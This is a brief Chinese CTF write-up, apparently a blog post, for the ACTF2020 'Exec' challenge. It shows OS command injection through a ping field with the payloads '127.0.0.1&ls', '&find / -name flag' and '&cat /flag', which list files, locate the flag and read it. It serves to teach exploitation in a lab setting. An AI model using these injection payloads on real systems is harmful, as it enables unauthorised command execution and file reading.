[ACTF2020 新生赛]Exec

0x00

打开web界面

猜测这里是执行ping命令，所以构造payload如下来测试是否存在命令执行

127.0.0.1&ls


验证了命令执行，构造如下payload来寻找flag

127.0.0.1&find / -name "flag"


得到了flag位置，我们继续构造如下payload来输出

127.0.0.1&cat /flag


得到了flag

posted @ 2020-08-28 08:23  she11s  阅读(257)  评论(0)  编辑  收藏  举报